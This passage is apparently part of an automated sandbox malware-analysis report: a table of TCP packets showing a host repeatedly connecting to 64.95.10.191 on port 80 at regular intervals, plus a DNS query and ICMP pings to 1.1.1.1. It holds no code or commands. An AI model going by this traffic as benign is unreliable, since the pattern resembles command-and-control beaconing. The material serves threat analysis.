Apr 23, 2024 17:46:55.396853924 CEST	49716	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:55.397227049 CEST	49718	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:55.519697905 CEST	80	49718	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:55.519716978 CEST	80	49716	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:55.519845009 CEST	49718	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:55.520025015 CEST	49718	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:55.642436981 CEST	80	49718	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:55.665108919 CEST	80	49718	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:55.707036018 CEST	49718	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:00.667779922 CEST	80	49718	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:00.667993069 CEST	49718	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:02.138174057 CEST	49718	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:02.138753891 CEST	49719	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:02.261044979 CEST	80	49718	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:02.261363983 CEST	80	49719	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:02.261512995 CEST	49719	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:02.261693954 CEST	49719	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:02.384407997 CEST	80	49719	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:02.413923979 CEST	80	49719	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:02.457096100 CEST	49719	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:07.433490992 CEST	80	49719	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:07.433578014 CEST	49719	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:08.838429928 CEST	49719	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:08.838867903 CEST	49720	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:08.961329937 CEST	80	49719	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:08.961354017 CEST	80	49720	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:08.961455107 CEST	49720	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:08.961628914 CEST	49720	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:09.084436893 CEST	80	49720	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:09.132788897 CEST	80	49720	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:09.176012993 CEST	49720	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:14.133698940 CEST	80	49720	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:14.133836985 CEST	49720	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:15.771439075 CEST	49720	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:15.771887064 CEST	49721	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:15.894305944 CEST	80	49720	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:15.894385099 CEST	80	49721	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:15.894534111 CEST	49721	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:15.894783020 CEST	49721	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:16.017306089 CEST	80	49721	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:16.059760094 CEST	80	49721	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:16.113373995 CEST	49721	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:21.061788082 CEST	80	49721	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:21.061996937 CEST	49721	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:22.629750013 CEST	49721	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:22.630038023 CEST	49722	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:22.752511024 CEST	80	49721	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:22.752546072 CEST	80	49722	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:22.752835989 CEST	49722	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:22.752999067 CEST	49722	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:22.875596046 CEST	80	49722	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:22.896133900 CEST	80	49722	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:22.941435099 CEST	49722	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:27.898049116 CEST	80	49722	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:27.898205996 CEST	49722	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:29.347153902 CEST	49722	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:29.347481966 CEST	49723	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:29.468157053 CEST	80	49723	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:29.469692945 CEST	80	49722	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:29.469868898 CEST	49723	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:29.469980001 CEST	49723	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:29.590573072 CEST	80	49723	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:29.644107103 CEST	80	49723	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:29.691451073 CEST	49723	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:34.645710945 CEST	80	49723	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:34.645791054 CEST	49723	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:36.323662996 CEST	49723	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:36.324004889 CEST	49724	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:36.444389105 CEST	80	49723	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:36.444416046 CEST	80	49724	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:36.444575071 CEST	49724	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:36.444705009 CEST	49724	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:36.565232992 CEST	80	49724	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:36.585005045 CEST	80	49724	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:36.628993034 CEST	49724	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:41.607214928 CEST	80	49724	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:41.612624884 CEST	49724	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:42.934596062 CEST	49724	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:42.934993982 CEST	49725	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:43.055412054 CEST	80	49724	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:43.055449963 CEST	80	49725	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:43.059370995 CEST	49725	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:43.059370995 CEST	49725	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:43.180166960 CEST	80	49725	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:43.210978031 CEST	80	49725	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:43.253936052 CEST	49725	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:48.212177992 CEST	80	49725	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:48.212254047 CEST	49725	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:49.576597929 CEST	49726	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:49.576600075 CEST	49725	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:49.697220087 CEST	80	49725	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:49.697266102 CEST	80	49726	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:49.700858116 CEST	49726	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:49.700859070 CEST	49726	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:49.821468115 CEST	80	49726	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:49.875200987 CEST	80	49726	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:49.925828934 CEST	49726	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:54.878114939 CEST	80	49726	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:54.882607937 CEST	49726	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:56.282807112 CEST	49726	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:56.283422947 CEST	49727	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:56.403677940 CEST	80	49726	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:56.405910969 CEST	80	49727	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:56.405987978 CEST	49727	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:56.406135082 CEST	49727	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:47:56.528731108 CEST	80	49727	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:56.581450939 CEST	80	49727	64.95.10.191	192.168.2.9
Apr 23, 2024 17:47:56.628957033 CEST	49727	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:01.583142042 CEST	80	49727	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:01.588612080 CEST	49727	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:02.951462030 CEST	49727	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:02.952748060 CEST	49728	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:03.073542118 CEST	80	49728	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:03.073774099 CEST	49728	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:03.073808908 CEST	80	49727	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:03.073859930 CEST	49728	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:03.194394112 CEST	80	49728	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:03.232517004 CEST	80	49728	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:03.288144112 CEST	49728	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:08.240577936 CEST	80	49728	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:08.240645885 CEST	49728	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:10.205132008 CEST	49728	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:10.205606937 CEST	49729	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:10.325800896 CEST	80	49728	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:10.325957060 CEST	80	49729	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:10.326045036 CEST	49729	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:10.327810049 CEST	49729	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:10.448198080 CEST	80	49729	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:10.475567102 CEST	80	49729	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:10.519594908 CEST	49729	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:15.476921082 CEST	80	49729	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:15.480684042 CEST	49729	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:16.838202000 CEST	49729	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:16.838511944 CEST	49730	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:16.958762884 CEST	80	49729	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:16.961147070 CEST	80	49730	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:16.963794947 CEST	49730	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:16.963794947 CEST	49730	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:17.086580992 CEST	80	49730	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:17.118267059 CEST	80	49730	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:17.160341978 CEST	49730	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:22.120719910 CEST	80	49730	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:22.120771885 CEST	49730	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:23.780412912 CEST	49730	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:23.780860901 CEST	49731	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:23.901580095 CEST	80	49731	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:23.901680946 CEST	49731	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:23.901830912 CEST	49731	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:23.903170109 CEST	80	49730	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:24.022337914 CEST	80	49731	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:24.075773001 CEST	80	49731	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:24.128981113 CEST	49731	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:29.077527046 CEST	80	49731	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:29.077600002 CEST	49731	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:30.433433056 CEST	49731	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:30.433662891 CEST	49732	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:30.554318905 CEST	80	49731	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:30.554521084 CEST	80	49732	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:30.556915998 CEST	49732	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:30.556915998 CEST	49732	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:30.678092957 CEST	80	49732	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:30.706118107 CEST	80	49732	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:30.756607056 CEST	49732	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:35.709182024 CEST	80	49732	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:35.709305048 CEST	49732	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:37.096129894 CEST	49732	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:37.096626043 CEST	49733	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:37.216964006 CEST	80	49732	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:37.217012882 CEST	80	49733	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:37.217087984 CEST	49733	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:37.217258930 CEST	49733	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:37.337876081 CEST	80	49733	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:37.387003899 CEST	80	49733	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:37.441519022 CEST	49733	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:42.389692068 CEST	80	49733	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:42.392654896 CEST	49733	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:43.763375044 CEST	49733	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:43.763950109 CEST	49734	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:43.884037018 CEST	80	49733	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:43.884455919 CEST	80	49734	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:43.884533882 CEST	49734	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:43.884644032 CEST	49734	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:44.005486012 CEST	80	49734	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:44.037225962 CEST	80	49734	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:44.082137108 CEST	49734	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:49.038655996 CEST	80	49734	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:49.038724899 CEST	49734	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:50.388356924 CEST	49734	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:50.388427973 CEST	49735	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:50.509031057 CEST	80	49735	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:50.509048939 CEST	80	49734	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:50.509208918 CEST	49735	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:50.510087013 CEST	49735	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:50.630479097 CEST	80	49735	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:50.651252031 CEST	80	49735	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:50.709534883 CEST	49735	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:55.653354883 CEST	80	49735	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:55.653448105 CEST	49735	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:57.013734102 CEST	49735	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:57.014064074 CEST	49736	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:57.134422064 CEST	80	49735	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:57.134772062 CEST	80	49736	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:57.134857893 CEST	49736	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:57.135027885 CEST	49736	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:48:57.255655050 CEST	80	49736	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:57.297852993 CEST	80	49736	64.95.10.191	192.168.2.9
Apr 23, 2024 17:48:57.347790956 CEST	49736	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:02.299832106 CEST	80	49736	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:02.299964905 CEST	49736	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:03.653696060 CEST	49736	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:03.654236078 CEST	49737	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:03.774797916 CEST	80	49736	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:03.776695967 CEST	80	49737	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:03.776777983 CEST	49737	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:03.776964903 CEST	49737	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:03.900652885 CEST	80	49737	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:03.939913988 CEST	80	49737	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:03.988473892 CEST	49737	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:08.945878029 CEST	80	49737	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:08.952606916 CEST	49737	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:10.903326988 CEST	49737	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:10.903856993 CEST	49738	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:11.024513006 CEST	80	49738	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:11.025767088 CEST	80	49737	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:11.025947094 CEST	49738	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:11.027213097 CEST	49738	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:11.147754908 CEST	80	49738	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:11.202244043 CEST	80	49738	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:11.316534996 CEST	49738	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:16.203934908 CEST	80	49738	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:16.203986883 CEST	49738	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:17.545690060 CEST	49738	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:17.546267986 CEST	49739	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:17.666408062 CEST	80	49738	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:17.667274952 CEST	80	49739	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:17.670870066 CEST	49739	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:17.671016932 CEST	49739	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:17.791846037 CEST	80	49739	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:17.811058998 CEST	80	49739	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:18.020585060 CEST	49739	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:22.812935114 CEST	80	49739	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:22.813014984 CEST	49739	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:24.232110023 CEST	49739	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:24.232472897 CEST	49740	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:24.353255987 CEST	80	49739	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:24.355398893 CEST	80	49740	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:24.355488062 CEST	49740	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:24.355781078 CEST	49740	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:24.478377104 CEST	80	49740	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:24.508038044 CEST	80	49740	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:24.551011086 CEST	49740	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:29.510273933 CEST	80	49740	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:29.510349989 CEST	49740	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:31.639030933 CEST	49740	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:31.639345884 CEST	49741	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:31.760087013 CEST	80	49741	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:31.760174036 CEST	49741	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:31.761833906 CEST	80	49740	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:38.026032925 CEST	49742	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:38.148874998 CEST	80	49742	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:38.152786970 CEST	49742	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:38.152786970 CEST	49742	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:38.275773048 CEST	80	49742	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:38.308403969 CEST	80	49742	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:38.443854094 CEST	49742	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:43.309570074 CEST	80	49742	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:43.309644938 CEST	49742	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:45.057831049 CEST	49742	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:45.058171988 CEST	49743	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:45.178930044 CEST	80	49743	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:45.179011106 CEST	49743	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:45.179122925 CEST	49743	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:45.180568933 CEST	80	49742	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:45.299856901 CEST	80	49743	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:45.332254887 CEST	80	49743	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:45.441582918 CEST	49743	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:50.334911108 CEST	80	49743	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:50.336669922 CEST	49743	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:51.691052914 CEST	49743	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:51.691905022 CEST	49744	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:51.811769009 CEST	80	49743	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:51.812479019 CEST	80	49744	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:51.812550068 CEST	49744	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:51.812701941 CEST	49744	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:51.933320045 CEST	80	49744	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:51.979729891 CEST	80	49744	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:52.019682884 CEST	49744	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:56.985445976 CEST	80	49744	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:56.988687038 CEST	49744	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:58.732708931 CEST	49744	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:58.732709885 CEST	49745	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:58.853738070 CEST	80	49744	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:58.855582952 CEST	80	49745	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:58.855695963 CEST	49745	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:58.855811119 CEST	49745	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:49:58.978517056 CEST	80	49745	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:59.009349108 CEST	80	49745	64.95.10.191	192.168.2.9
Apr 23, 2024 17:49:59.050947905 CEST	49745	80	192.168.2.9	64.95.10.191

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 17:45:55.284347057 CEST	52754	53	192.168.2.9	1.1.1.1
Apr 23, 2024 17:45:55.424246073 CEST	53	52754	1.1.1.1	192.168.2.9

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Apr 23, 2024 17:46:14.450776100 CEST	192.168.2.9	1.1.1.1	4d5a	Echo
Apr 23, 2024 17:46:14.556616068 CEST	1.1.1.1	192.168.2.9	555a	Echo Reply
Apr 23, 2024 17:46:15.460175037 CEST	192.168.2.9	1.1.1.1	4d59	Echo
Apr 23, 2024 17:46:15.566097975 CEST	1.1.1.1	192.168.2.9	5559	Echo Reply
Apr 23, 2024 17:46:16.472732067 CEST	192.168.2.9	1.1.1.1	4d58	Echo
Apr 23, 2024 17:46:16.578672886 CEST	1.1.1.1	192.168.2.9	5558	Echo Reply
Apr 23, 2024 17:46:17.488379955 CEST	192.168.2.9	1.1.1.1	4d57	Echo
Apr 23, 2024 17:46:17.594389915 CEST	1.1.1.1	192.168.2.9	5557	Echo Reply
Apr 23, 2024 17:46:17.662324905 CEST	192.168.2.9	1.1.1.1	4d56	Echo
Apr 23, 2024 17:46:17.768224001 CEST	1.1.1.1	192.168.2.9	5556	Echo Reply
Apr 23, 2024 17:46:18.675892115 CEST	192.168.2.9	1.1.1.1	4d55	Echo
Apr 23, 2024 17:46:18.781809092 CEST	1.1.1.1	192.168.2.9	5555	Echo Reply
Apr 23, 2024 17:46:19.691718102 CEST	192.168.2.9	1.1.1.1	4d54	Echo
Apr 23, 2024 17:46:19.797837019 CEST	1.1.1.1	192.168.2.9	5554	Echo Reply
Apr 23, 2024 17:46:20.707281113 CEST	192.168.2.9	1.1.1.1	4d53	Echo
Apr 23, 2024 17:46:20.813167095 CEST	1.1.1.1	192.168.2.9	5553	Echo Reply
Apr 23, 2024 17:46:21.254344940 CEST	192.168.2.9	1.1.1.1	4d52	Echo
Apr 23, 2024 17:46:21.360152006 CEST	1.1.1.1	192.168.2.9	5552	Echo Reply
Apr 23, 2024 17:46:22.269701004 CEST	192.168.2.9	1.1.1.1	4d51	Echo
Apr 23, 2024 17:46:22.379246950 CEST	1.1.1.1	192.168.2.9	5551	Echo Reply
Apr 23, 2024 17:46:23.285398960 CEST	192.168.2.9	1.1.1.1	4d50	Echo
Apr 23, 2024 17:46:23.391299963 CEST	1.1.1.1	192.168.2.9	5550	Echo Reply
Apr 23, 2024 17:46:24.300970078 CEST	192.168.2.9	1.1.1.1	4d4f	Echo
Apr 23, 2024 17:46:24.407088995 CEST	1.1.1.1	192.168.2.9	554f	Echo Reply
Apr 23, 2024 17:46:24.473069906 CEST	192.168.2.9	1.1.1.1	4d4e	Echo
Apr 23, 2024 17:46:24.578969955 CEST	1.1.1.1	192.168.2.9	554e	Echo Reply
Apr 23, 2024 17:46:25.488418102 CEST	192.168.2.9	1.1.1.1	4d4d	Echo
Apr 23, 2024 17:46:25.594521046 CEST	1.1.1.1	192.168.2.9	554d	Echo Reply
Apr 23, 2024 17:46:26.504458904 CEST	192.168.2.9	1.1.1.1	4d4c	Echo
